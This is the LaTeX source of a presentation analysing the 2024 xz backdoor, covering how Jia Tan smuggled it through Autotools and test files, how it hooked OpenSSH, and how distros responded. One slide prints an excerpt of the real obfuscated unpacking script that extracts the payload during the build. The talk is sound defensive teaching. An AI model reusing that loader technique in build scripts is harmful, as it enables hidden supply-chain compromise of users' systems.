%% SPDX-License-Identifier: CC0-1.0
%%
%% Copyright (C) 2024 W. Kosior <koszko@koszko.org>

\documentclass{beamer}
\usetheme{Rochester}
\usecolortheme{seagull}
\usepackage{calc}
\usepackage{svg}
\usepackage{graphicx}
\usepackage[export]{adjustbox}
\usepackage{verbatimbox}
\usepackage{listings}
\usepackage{seqsplit}
\usepackage{soul}

\setbeamertemplate{navigation symbols}{}
\setbeameroption{show notes}

\newenvironment{prettyitemize}{%
  \begin{itemize}
    \itemsep0.7em
}{%
  \end{itemize}
}

\newcommand{\meme}[1]{%
  \href{#1}{Meme \includesvg[height=\baselineskip]{Awesome.svg}}
}

\newcommand{\memeframe}[2]{%
  \begin{frame}{#1 (Meme)}
    \begin{center}
      \Huge
      \meme{#2}
    \end{center}
  \end{frame}
}

\newcommand{\screenshotframe}[2]{%
  \begin{frame}{#1}
    \includegraphics[
      height=\dimexpr\textheight-0.5cm\relax,
      center
    ]{screenshots/#2}
  \end{frame}
}

\title{Incident response — 2024 xz backdoor}

\begin{document}

\frame{
  \titlepage
  \begin{figure}[h]
    \includegraphics[height=0.25\textheight]{xz-logo.png}
  \end{figure}
}

\note{
  \begin{itemize}
  \item a popular free software package ``xz''
  \item we'll discuss
    \begin{itemize}
    \item how it happened
    \item briefly: how backdoor works
    \item how it was discorved \& analyzed
    \item various reactions, employed procedures
    \item discussions and triggered changes in projects (lessons learned)
    \end{itemize}
  \end{itemize}
}

\begin{frame}{Meet xz}
  \begin{prettyitemize}
  \item xz's what?
    \pause
  \item xz's who?
    \vspace{0.5em}
    \pause
    \begin{prettyitemize}
    \item
      {\raisebox{-2ex}{\includegraphics[height=\dimexpr\baselineskip*2\relax]{avatar-larhzu.png}}}
      Lasse Collin (\textit{Larhzu}) \pause
    \item
      {\raisebox{-2ex}{\includegraphics[height=\dimexpr\baselineskip*2\relax]{avatar-jia.png}}}
      Jia Cheong Tan (\textit{JiaT75})
    \end{prettyitemize}
  \end{prettyitemize}
  \pause
  \vspace{2em}
  \begin{center}
    \meme{https://i0.wp.com/lex-img-p.s3.us-west-2.amazonaws.com/img/5ddde247-464a-4532-bfe4-5e0a1ed16062-RackMultipart20240407-179-1kxtsc.png?ssl=1}
  \end{center}
\end{frame}

\note{
  \scalebox{0.75}{\begin{minipage}{1.333\textwidth}
      \begin{itemize}
      \item ``xz'' — a (lossless) compression tool
        \begin{itemize}
        \item started in 2009
        \item includes both CLI application and library ``lzma'' (which was
          standalone before 2009)
        \item free/libre software (developed on GitHub, viewable by anyone)
        \item included by default in many operating systems (almost all
          GNU+Linux distros like Debian and Ubuntu)
        \end{itemize}
      \item xz is Lasse Collin
        \begin{itemize}
        \item Lasse has been the maintainer since the beginning in 2009
        \item Lasse got less involved with the project lately (personal
          problems)
        \item Lasse often had internet breaks (including when backdoor got
          placed)
        \end{itemize}
      \item xz is (was…) Jia Tan
        \begin{itemize}
        \item relatively new co-maintainer
        \item 2-2.5 years as a contributor
        \item 1.5 years with release rights
        \item DO NOT \textbf{YET} explain that backdor-activating code is absent
          in git nor that Jia is a fake identity
        \end{itemize}
      \end{itemize}
  \end{minipage}}
}

\begin{frame}{Timeline}
  \includesvg[
    width=\linewidth,
    inkscapelatex=false
  ]{timeline.svg}
\end{frame}

\note{
  \begin{itemize}
  \item before January 2022 — contributions to other projects
  \item April 2022 — certain "Jigar Kumar" and "Dennis Ens" start criticizing
    Lasse on the mailing list for not being able to take care of the project
    well; both appear to ba fake identities
  \item XZ Utils 5.6.1 got released to hide Valgrind errors manifesting
    because of the backdoor
  \item April 9 — Larhzu unbanned on GitHub, starts cleaning up the GitHub
    project
  \item maybe explain what tarball signing is
  \end{itemize}
}

\screenshotframe{Hit the news}{news-theregister.png}

\note{
  \begin{itemize}
  \item backdoor placed by Jia in 2024
  \item XZ versions 5.6.0 and 5.6.1
  \item discovered on march 29th
  \item became loud news (not just technical sites/blogs)
  \end{itemize}
}

\begin{frame}{Meet target audience}
  It's best to attack the most popular…

  \begin{center}
    \begin{figure}[h]
      \includesvg[
        width=\linewidth,
        inkscapelatex=false
      ]{target-audience-distros.svg}
    \end{figure}
  \end{center}
\end{frame}

\note{
  \begin{itemize}
  \item affected: GNU+Linux distros using systemd, based on APT or RPM
    \begin{itemize}
    \item Debian, Ubuntu, Kali
    \item Fedora, RedHat
    \item (Open)Suse,
    \item their other derivatives
    \end{itemize}
  \item unaffected (at this time…)
    \begin{itemize}
    \item Arch
    \item Gentoo
    \item Nix \& Guix
    \item Alpine
    \item non-Linux-based OS'es (BSD's, MacOS)
    \end{itemize}
  \end{itemize}
}

\begin{frame}{Meet targetted programs}
  \begin{prettyitemize}
  \item OpenSSH (SSH daemon)
    \pause
  \item systemd
    \pause
  \item glibc
  \end{prettyitemize}
\end{frame}

\note{
  \scalebox{0.75}{\begin{minipage}{1.333\textwidth}
      \begin{itemize}
      \item OpenSSH (OpenBSD Secure Shell)
        \begin{itemize}
        \item used for remote management
        \item commonly deployed on UNIX servers
        \item daemon listens for connections on TCP (default port 22)
        \item typically handles logins and spawns a shell (like bash) on remote host
          (although other uses exist)
        \item typically has great privileges (session creation as different UNIX
          users)
        \item often receives attention (e.g. created sessions likely to be logged)
        \end{itemize}
      \item systemd
        \begin{itemize}
        \item an init system (the first program started by the kernel when
          computer boots)
        \item also a service management tool
        \item used on most mainstream GNU+Linux distros
        \item often criticized for bloat
        \end{itemize}
      \item glibc (GNU C Library)
        \begin{itemize}
        \item used on most mainstream GNU+Linux distros
        \item utilized by most of the programs on the system
        \item also often criticized for bloat
        \end{itemize}
      \end{itemize}
  \end{minipage}}
}

\begin{frame}{Autotools}
  \begin{center}
    \begin{figure}[h]
      \includesvg[
        width=\linewidth,
        inkscapelatex=false
      ]{autotools.svg}
    \end{figure}
  \end{center}
\end{frame}

\begin{myverbbox}{\vMakefile}Makefile\end{myverbbox}
\begin{myverbbox}{\vconfigureAc}configure.ac\end{myverbbox}
\begin{myverbbox}{\vMakefileAm}Makefile.am\end{myverbbox}
\begin{myverbbox}{\vconfigure}configure\end{myverbbox}
\begin{myverbbox}{\vMakefileIn}Makefile.in\end{myverbbox}

\note{
  \scalebox{0.75}{\begin{minipage}{1.333\textwidth}
      \begin{itemize}
      \item GNU Autotools — Autoconf + Automake + some other programs
      \item used to configure how program should be built and to generate a
        {\vMakefile}
      \item steps:
        \begin{itemize}
        \item maintainer writes {\vconfigureAc} and {\vMakefileAm}
        \item maintainer uses a command from Autoconf to generate a
          {\vconfigure} script and a {\vMakefileIn}
        \item the project together with generated files is packed into a tarball
          and distributed
        \item user downloads the distribution tarball
        \item user runs the {\vconfigure} script to generate {\vMakefile}
        \item user runs Make to build the program
        \end{itemize}
      \item after downloading, user can optionally re-generate the {\vconfigure}
        and a {\vMakefileIn} files to avoid relying on upstream-generated ones
      \item common if user $\equiv$ a distro
      \item functionality often extended with custom M4 files
      \item they are often simply copied from other projects
      \end{itemize}
  \end{minipage}}
}

\begin{frame}{Autotools — Backdoor smuggling}
  \begin{center}
    \begin{figure}[h]
      \includesvg[
        width=\linewidth,
        inkscapelatex=false
      ]{autotools-and-backdoor.svg}
    \end{figure}
  \end{center}
\end{frame}

\begin{myverbbox}{\vBuildToHost}m4/build-to-host.m4\end{myverbbox}

\begin{myverbbox}{\vBadCorruptLzma}tests/files/bad-3-corrupt_lzma2.xz\end{myverbbox}

\begin{myverbbox}{\vGoodLargeCompressed}tests/files/good-large_compressed.lzma\end{myverbbox}

  \note{
    \scalebox{0.75}{\begin{minipage}{1.333\textwidth}
        \begin{itemize}
        \item extra {\vBuildToHost} copied from the gnulib project and included
          in xz release tarballs
        \item modified to alter the build in a malicious way
        \item works even if the victim re-generates the {\vconfigure} file
        \item other malicious files (not shown) hidden among test resources
        \item programs have automated tests
        \item xz is a compression tool — tests involve decompression of archives
        \item {\vBuildToHost} extracts a hidden shell script from
          {\vBadCorruptLzma} (otherwise unused)
        \item extracted script further alters the build to link a binary payload
          into the program
        \item binary payload hidden in {\vGoodLargeCompressed} (also unused)
        \item {\vBuildToHost} not present \& backdoor inactive when building
          from git
        \end{itemize}
    \end{minipage}}
  }

\begin{frame}[fragile]{Backdoor unpacking}
  \ttfamily\small
  \begin{lstlisting}[breaklines]
xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<4096;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true
if ! test -f liblzma_la-crc64-fast.o; then
exit 0
fi
cp .libs/liblzma_la-crc64_fast.o .libs/liblzma_la-crc64-fast.o || true
  \end{lstlisting}
\end{frame}

\note{
  \begin{itemize}
  \item only a small part of the script shown here, some extra line-breaks added
  \item the script
    \begin{itemize}
    \item checks the environment
    \item gets the payload linked into liblzma.so
    \item but only when using GCC, glibc, building an APT/RPM package, etc.
    \item but even when this is not met, looks for magic numbers in other files
      and tries to execute their embedded payloads if found (an entry for future
      backdoors)
    \end{itemize}
  \item explain what shared library is
  \item lots of obfuscation (as seen in the slide)
  \end{itemize}
}

\begin{myverbbox}{\vRSAPublicDecyrpt}RSA_public_decrypt\end{myverbbox}

\begin{frame}{Backdoor loading}
  \begin{itemize}
  \item in many distros OpenSSH happens to be patched to use systemd
    notifications
  \item systemd depends on lzma
  \item liblzma gets loaded into OpenSSH process and replaces function
    {\vRSAPublicDecyrpt} with its own
  \item uses ``IFUNC''
  \end{itemize}

  \vspace{1em}

  \itshape
  ``The GNU indirect function support (IFUNC) is a feature of the GNU toolchain
  that allows a developer to create multiple implementations of a given function
  and to select amongst them at runtime using a resolver function which is also
  written by the developer. The resolver function is called by the dynamic
  loader during early startup to resolve which of the implementations will be
  used by the application.''
  \normalfont
\end{frame}

\note{
  \begin{itemize}
  \item systemd depends on lzma
  \item liblzma gets loaded into OpenSSH process and replaces function
    {\vRSAPublicDecyrpt} with its own
  \item hijacking a function in another library not normally easy — global
    offset table and procedure linkage tables are made read-only after process
    is initialized
  \item IFUNCs abused to bypass the above and run code while said tables are
    still writable
  \end{itemize}
}

\begin{frame}{Backdoor exploiting}
  \begin{center}
    \begin{figure}[h]
      \includesvg[
        width=\linewidth,
        inkscapelatex=false
      ]{openssh-exploitation.svg}
    \end{figure}
  \end{center}
\end{frame}

\begin{myverbbox}{\vSystem}system()\end{myverbbox}

\note{
  \begin{itemize}
  \item upon SSH connection using certificate, backdoor checks for a specific
    key
  \item payload extracted from cert's public key before cert's sig verification
  \item theoretically, others could exploit this attack as well
  \item runs code using {\vSystem} function from C library (no extra SSH session
    spawned)
  \item again, lots of obfuscation
  \end{itemize}
}

\screenshotframe{Discovery}{andres-mastodon.png}

\note{
  \begin{itemize}
  \item Postgres developer, employed by Miscosoft
  \item had been working on Postgres using backdoored Debian Unstable
  \item noticed SSH running slower
  \item notified GNU+Linux distros
  \item one of the most famous programmers now
  \end{itemize}
}

\memeframe{Discovery}{https://media.telefonicatech.com/telefonicatech/uploads/2024/4/downgrade-xz-meme.jpg}

\screenshotframe{Reactions — Debian}{reactions-dsa.png}

\note{
  \begin{itemize}
  \item Debian $\equiv$ primary distro user of APT
  \item Debian unstable and testing affected (i.e. releases not usually meant
    for production use)
  \item older xz release numbered with newer version for automatic revertion
    even with an ordinary update (the ``+really-5.4.5-1'' version suffix makes
    it lexicographically greater than the vulnerable package without suffix)
  \item users subscribing the security mailing list were notified on the day of
    discovery
  \end{itemize}
}

\screenshotframe{Reactions — Ubuntu}{reactions-ubuntu.png}

\note{
  \begin{itemize}
  \item the most popular Debian-derived distro
  \item maybe the most popular GNU+Linux distro overall
  \item only the not-yet-released Ubuntu 24.04 affected
  \item CVE recorded and library removed from repos on the day of backdoor
    discovery
  \end{itemize}
}

\screenshotframe{Reactions — Kali}{reactions-kali.png}

\note{
  \begin{itemize}
  \item one of few distros to have served the backdoored version to the general
    public rather than beta testers
  \item probably not the desired target of the attacker (Kali is not meant for
    servers)
  \item unlike OpenSUSE Tumbleweed, did not recommend affected users to
    reinstall the system despite the backdoor being truly active
  \end{itemize}
}

\screenshotframe{Reactions — Fedora}{reactions-fedora.png}

\begin{myverbbox}{\vDnfUpgradeAdvisory}sudo dnf upgrade --refresh \
--advisory=FEDORA-2024-d02c7bb266\end{myverbbox}

\note{
  \begin{itemize}
  \item Fedora $\equiv$ primary distro user of RPM, base for RedHat
  \item ``PLEASE IMMEDIATELY STOP USAGE OF ANY FEDORA RAWHIDE INSTANCES''
  \item only Fedora Linux 40 beta and Fedora Rawhide affected
  \item note: Rawhide is development/testing release, Fedora Linux 40 beta is a
    beta release; neither is meant for most kind of production tasks
  \item users nevertheless encouraged to downgrade to a version from before
    Jia'a xz maintainer access
  \item package version lowered but epoch bumped (maybe smarter than Debian's
    solution?)
  \item {\vDnfUpgradeAdvisory}
  \end{itemize}
}

\screenshotframe{Reactions — OpenSUSE}{reactions-opensuse.png}

\begin{myverbbox}{\vOpenSUSERevertto}5.6.1.revertto5.4\end{myverbbox}

\note{
  \begin{itemize}
  \item also an RPM user, base for commercial SUSE distro
  \item OpenSUSE Tumbleweed (rolling release variant of OpenSUSE) — one of the
    major affected distros (March 8 - March 28)
  \item users who had SSH exposed recommended to install afresh
  \item package created with version {\vOpenSUSERevertto}
  \end{itemize}
}

\screenshotframe{Reactions — Gentoo}{reactions-gentoo.png}

\note{
  \begin{itemize}
  \item reaction also on the same day
  \item distro not affected
  \item reverted to earlier xz release nevertheless
  \item users requested to downgrade nevertheless
  \item distro recently started linking lzma into packages by default which
    raised suspicion (but is clearle a coincidence)
  \item other unaffected distros (e.g. Arch) reacted similarly
  \end{itemize}
}

\screenshotframe{Reactions — Microsoft}{reactions-microsoft.png}

\note{
  While not know for involovement with GNU+Linux distros, Microsoft also has
  interest in them and wrote posts about the backdoor.
}

\screenshotframe{Reactions — Official Bodies}{reactions-cisa.png}

\note{
  \begin{itemize}
  \item CISA - Cybersecurity \& Infrastructure Security Agency
  \item a US agency
  \item gave similar advice as distro maintainers — to downgrade xz
  \end{itemize}
}

\screenshotframe{Lasse Collin's xz repo cleanup}{lasse-cleanup-commit.png}

\note{
  \scalebox{0.75}{\begin{minipage}{1.333\textwidth}
      \begin{itemize}
      \item Lasse unbanned on GitHub on April 2 (3 days after backdoor
        discovery)
      \item XZ repo cleaned up and reinstated on April 9
      \item Lasse has also been documenting the situation on
        \href{https://tukaani.org/xz-backdoor/}{https://tukaani.org/xz-backdoor/}
      \item good for Lasse, people got interested in xz, many compassionate with
        him and offered donations or other help
      \item Jia disappeared, it's been noticed he had been
        \begin{itemize}
        \item making commits on Chinese New Year which most Chinese don't
        \item spells his ``second name'' in a Singaporean rather than Chinese
          way
        \item using a Singaporean VPN for all communication
        \item using +0800 timezone for most of his commits but had also made
          some with +0300 timezone
        \item working on xz during typical working hours of the +0300 timezone
        \item but had also often worked on weekends
        \item inactive during some western holiday
        \end{itemize}
      \item Jia could be a fake Singaporean persona created and operated by the
        Russian or Iranian government
      \item but could as well be created and operated by a US agency in a way to
        suggest Russian involvement
      \end{itemize}
    \end{minipage}}
}

\begin{myverbbox}{\vLd}ld\end{myverbbox}
\begin{myverbbox}{\vObjdump}objdump\end{myverbbox}

\begin{frame}{Lessons Learned}
  \begin{prettyitemize}
  \item Decided to change their practices to mitigate attacks of this kind:
    \begin{prettyitemize}
    \item CMake (the other build system supported by xz)
    \item systemd (the init system rumoured to be bloated)
    \item groff (typesetting system using Autotools)
    \item GNU binutils (mainstream implementation of tools like {\vLd} and
      {\vObjdump})
    \item openSSH
    \end{prettyitemize}
  \item Had interesting discussions as a result of the attack: autoconf,
    automake, bug-gnulib, fedora-devel, debian-devel, oss-security
  \item Universal advice: put SSH behind VPN
  \end{prettyitemize}
\end{frame}

\note{
  \begin{itemize}
  \item CMake — check for feature tests made to be forcibly-failing (Jia made
    Linux landlock availability check fail by introducing syntax error in test C
    source)
  \item systemd — has already been working on reducing dependencies like xz
  \item groff — better practices: allow more files to be rebuilt by distribution
  \item GNU binutils — better practices: strip dependencies
  \item openSSH — look for solutions so that distros don't have to patch
    anything
  \end{itemize}

  Among others, supply chain hardening methods discussed.  Should we rely on vcs
  rather than on tarballs?  Should we create our tarballs in some more
  responsible way?
}

\memeframe{Lessons Learned}{https://redlib.pussthecat.org/img/j8wcm4aajprc1.jpeg}

\begin{frame}{References}
  \small

  Resources used:
  \begin{prettyitemize}
  \item \href{https://tukaani.org/xz-backdoor/}{\ttfamily\seqsplit{https://tukaani.org/xz-backdoor/}}
  \item \href{https://www.openwall.com/lists/oss-security/2024/03/29/4}{\ttfamily\seqsplit{https://www.openwall.com/lists/oss-security/2024/03/29/4}}
  \item \href{https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27}{\ttfamily\seqsplit{https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27}}
  \item \href{https://www.theregister.com/2024/03/29/malicious_backdoor_xz/}{\ttfamily\seqsplit{https://www.theregister.com/2024/03/29/malicious\_backdoor\_xz/}}
  \item \href{https://bsky.app/profile/filippo.abyssdomain.expert/post/3kowjkx2njy2b}{\ttfamily\seqsplit{https://bsky.app/profile/filippo.abyssdomain.expert/post/3kowjkx2njy2b}}
  \end{prettyitemize}
\end{frame}

\begin{frame}{Credits}
  \begin{center}
    Thank you for your attention :)
  \end{center}

  And thanks to the graphics folks…
  \begin{prettyitemize}
  \item XZ logo — \st{Copyright (C) 2023 Jia Tan} made by haxxors behind the
    backdoor, distributed under the
    \href{https://creativecommons.org/licenses/by-sa/4.0/}{CC-BY-SA-4.0} license
  \item Awesome ``emoji'' — by Openclipart user rones, uploaded 2011 (released
    into public domain with
    \href{https://creativecommons.org/publicdomain/zero/1.0/legalcode.en}{CC
      Zero v1.0})
  \item the original Autotools diagram — Copyright (C) 2001-2024 Gentoo Authors,
    distributed under the
    \href{https://creativecommons.org/licenses/by-sa/4.0/}{CC-BY-SA-4.0}
    license
  \item Virus image — by Openclipart user utrescu, uploaded 2012 (released into
    public domain with
    \href{https://creativecommons.org/publicdomain/zero/1.0/legalcode.en}{CC
      Zero v1.0})
  \end{prettyitemize}

  You can find this presentation sources here
  \begin{center}
    \href{https://git.koszko.org/AGH-xz-backdoor-presentation/}{https://git.koszko.org/AGH-xz-backdoor-presentation/}
  \end{center}
\end{frame}

\end{document}